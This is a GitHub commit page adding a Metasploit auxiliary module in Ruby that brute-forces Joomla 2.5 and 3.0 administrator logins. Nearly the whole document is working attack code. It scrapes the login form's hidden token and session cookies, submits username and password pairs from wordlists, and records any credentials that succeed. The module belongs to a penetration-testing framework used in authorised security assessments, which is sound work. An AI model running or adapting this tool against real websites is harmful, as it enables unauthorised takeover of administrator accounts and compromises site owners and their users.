Skip to content

Commit fe0b6fa

Browse files
committed
Land rapid7#3532, @luisco's joomla login bruteforcer
2 parents ffafd4c + aefaa3d commit fe0b6fa

File tree

1 file changed

+279
-0
lines changed

1 file changed

+279
-0
lines changed
Lines changed: 279 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,279 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Auxiliary
9+
include Msf::Exploit::Remote::HttpClient
10+
include Msf::Auxiliary::Report
11+
include Msf::Auxiliary::AuthBrute
12+
include Msf::Auxiliary::Scanner
13+
14+
def initialize
15+
super(
16+
'Name' => 'Joomla Bruteforce Login Utility',
17+
'Description' => 'This module attempts to authenticate to Joomla 2.5. or 3.0 through bruteforce attacks',
18+
'Author' => 'luisco100[at]gmail.com',
19+
'References' =>
20+
[
21+
['CVE', '1999-0502'] # Weak password Joomla
22+
],
23+
'License' => MSF_LICENSE
24+
)
25+
26+
register_options(
27+
[
28+
OptPath.new('USERPASS_FILE', [false, 'File containing users and passwords separated by space, one pair per line',
29+
File.join(Msf::Config.data_directory, 'wordlists', 'http_default_userpass.txt')]),
30+
OptPath.new('USER_FILE', [false, 'File containing users, one per line',
31+
File.join(Msf::Config.data_directory, 'wordlists', "http_default_users.txt")]),
32+
OptPath.new('PASS_FILE', [false, 'File containing passwords, one per line',
33+
File.join(Msf::Config.data_directory, 'wordlists', 'http_default_pass.txt')]),
34+
OptString.new('AUTH_URI', [true, 'The URI to authenticate against', '/administrator/index.php']),
35+
OptString.new('FORM_URI', [true, 'The FORM URI to authenticate against' , '/administrator']),
36+
OptString.new('USER_VARIABLE', [true, 'The name of the variable for the user field', 'username']),
37+
OptString.new('PASS_VARIABLE', [true, 'The name of the variable for the password field' , 'passwd']),
38+
OptString.new('WORD_ERROR', [true, 'The word of message for detect that login fail', 'mod-login-username'])
39+
], self.class)
40+
41+
register_autofilter_ports([80, 443])
42+
end
43+
44+
def find_auth_uri
45+
if datastore['AUTH_URI'] && datastore['AUTH_URI'].length > 0
46+
paths = [datastore['AUTH_URI']]
47+
else
48+
paths = %w(
49+
/
50+
/administrator/
51+
)
52+
end
53+
54+
paths.each do |path|
55+
begin
56+
res = send_request_cgi(
57+
'uri' => path,
58+
'method' => 'GET'
59+
)
60+
rescue ::Rex::ConnectionError
61+
next
62+
end
63+
64+
next unless res
65+
66+
if res.redirect? && res.headers['Location'] && res.headers['Location'] !~ /^http/
67+
path = res.headers['Location']
68+
vprint_status("#{rhost}:#{rport} - Following redirect: #{path}")
69+
begin
70+
res = send_request_cgi(
71+
'uri' => path,
72+
'method' => 'GET'
73+
)
74+
rescue ::Rex::ConnectionError
75+
next
76+
end
77+
next unless res
78+
end
79+
80+
return path
81+
end
82+
83+
nil
84+
end
85+
86+
def target_url
87+
proto = 'http'
88+
if rport == 443 || ssl
89+
proto = 'https'
90+
end
91+
"#{proto}://#{rhost}:#{rport}#{@uri}"
92+
end
93+
94+
def run_host(ip)
95+
vprint_status("#{rhost}:#{rport} - Searching Joomla authentication URI...")
96+
@uri = find_auth_uri
97+
98+
unless @uri
99+
vprint_error("#{rhost}:#{rport} - No URI found that asks for authentication")
100+
return
101+
end
102+
103+
@uri = "/#{@uri}" if @uri[0, 1] != '/'
104+
105+
vprint_status("#{target_url} - Attempting to login...")
106+
107+
each_user_pass do |user, pass|
108+
do_login(user, pass)
109+
end
110+
end
111+
112+
def do_login(user, pass)
113+
vprint_status("#{target_url} - Trying username:'#{user}' with password:'#{pass}'")
114+
response = do_web_login(user, pass)
115+
result = determine_result(response)
116+
117+
if result == :success
118+
print_good("#{target_url} - Successful login '#{user}' : '#{pass}'")
119+
report_auth_info(
120+
:host => rhost,
121+
:port => rport,
122+
:sname => (ssl ? 'https' : 'http'),
123+
:user => user,
124+
:pass => pass,
125+
:proof => target_url,
126+
:type => 'passsword',
127+
:source_type => 'cred',
128+
:duplicate_ok => true,
129+
:active => true
130+
)
131+
return :abort if datastore['STOP_ON_SUCCESS']
132+
return :next_user
133+
else
134+
vprint_error("#{target_url} - Failed to login as '#{user}'")
135+
return
136+
end
137+
end
138+
139+
def do_web_login(user, pass)
140+
user_var = datastore['USER_VARIABLE']
141+
pass_var = datastore['PASS_VARIABLE']
142+
143+
referer_var = "http://#{rhost}/administrator/index.php"
144+
145+
vprint_status("#{target_url} - Searching Joomla Login Response...")
146+
res = login_response
147+
148+
unless res && res.code = 200 && !res.get_cookies.blank?
149+
vprint_error("#{target_url} - Failed to find Joomla Login Response")
150+
return nil
151+
end
152+
153+
vprint_status("#{target_url} - Searching Joomla Login Form...")
154+
hidden_value = get_login_hidden(res)
155+
if hidden_value.nil?
156+
vprint_error("#{target_url} - Failed to find Joomla Login Form")
157+
return nil
158+
end
159+
160+
vprint_status("#{target_url} - Searching Joomla Login Cookies...")
161+
cookie = get_login_cookie(res)
162+
if cookie.blank?
163+
vprint_error("#{target_url} - Failed to find Joomla Login Cookies")
164+
return nil
165+
end
166+
167+
vprint_status("#{target_url} - Login with cookie ( #{cookie} ) and Hidden ( #{hidden_value}=1 )")
168+
res = send_request_login(
169+
'user_var' => user_var,
170+
'pass_var' => pass_var,
171+
'cookie' => cookie,
172+
'referer_var' => referer_var,
173+
'user' => user,
174+
'pass' => pass,
175+
'hidden_value' => hidden_value
176+
)
177+
178+
if res
179+
vprint_status("#{target_url} - Login Response #{res.code}")
180+
if res.redirect? && res.headers['Location']
181+
path = res.headers['Location']
182+
vprint_status("#{target_url} - Following redirect to #{path}...")
183+
184+
res = send_request_raw(
185+
'uri' => path,
186+
'method' => 'GET',
187+
'cookie' => "#{cookie}"
188+
)
189+
end
190+
end
191+
192+
return res
193+
rescue ::Rex::ConnectionError
194+
vprint_error("#{target_url} - Failed to connect to the web server")
195+
return nil
196+
end
197+
198+
def send_request_login(opts = {})
199+
res = send_request_cgi(
200+
'uri' => @uri,
201+
'method' => 'POST',
202+
'cookie' => "#{opts['cookie']}",
203+
'headers' =>
204+
{
205+
'Referer' => opts['referer_var']
206+
},
207+
'vars_post' => {
208+
opts['user_var'] => opts['user'],
209+
opts['pass_var'] => opts['pass'],
210+
'lang' => '',
211+
'option' => 'com_login',
212+
'task' => 'login',
213+
'return' => 'aW5kZXgucGhw',
214+
opts['hidden_value'] => 1
215+
}
216+
)
217+
218+
res
219+
end
220+
221+
def determine_result(response)
222+
return :abort unless response.kind_of?(Rex::Proto::Http::Response)
223+
return :abort unless response.code
224+
225+
if [200, 301, 302].include?(response.code)
226+
if response.to_s.include?(datastore['WORD_ERROR'])
227+
return :fail
228+
else
229+
return :success
230+
end
231+
end
232+
233+
:fail
234+
end
235+
236+
def login_response
237+
uri = normalize_uri(datastore['FORM_URI'])
238+
res = send_request_cgi!('uri' => uri, 'method' => 'GET')
239+
240+
res
241+
end
242+
243+
def get_login_cookie(res)
244+
return nil unless res.kind_of?(Rex::Proto::Http::Response)
245+
246+
res.get_cookies
247+
end
248+
249+
def get_login_hidden(res)
250+
return nil unless res.kind_of?(Rex::Proto::Http::Response)
251+
252+
return nil if res.body.blank?
253+
254+
vprint_status("#{target_url} - Testing Joomla 2.5 Form...")
255+
form = res.body.split(/<form action=([^\>]+) method="post" id="form-login"\>(.*)<\/form>/mi)
256+
257+
if form.length == 1 # is not Joomla 2.5
258+
vprint_status("#{target_url} - Testing Form Joomla 3.0 Form...")
259+
form = res.body.split(/<form action=([^\>]+) method="post" id="form-login" class="form-inline"\>(.*)<\/form>/mi)
260+
end
261+
262+
if form.length == 1 # is not Joomla 3
263+
vprint_error("#{target_url} - Last chance to find a login form...")
264+
form = res.body.split(/<form id="login-form" action=([^\>]+)\>(.*)<\/form>/mi)
265+
end
266+
267+
begin
268+
input_hidden = form[2].split(/<input type="hidden"([^\>]+)\/>/mi)
269+
input_id = input_hidden[7].split("\"")
270+
rescue NoMethodError
271+
return nil
272+
end
273+
274+
valor_input_id = input_id[1]
275+
276+
valor_input_id
277+
end
278+
279+
end

0 commit comments

Comments
 (0)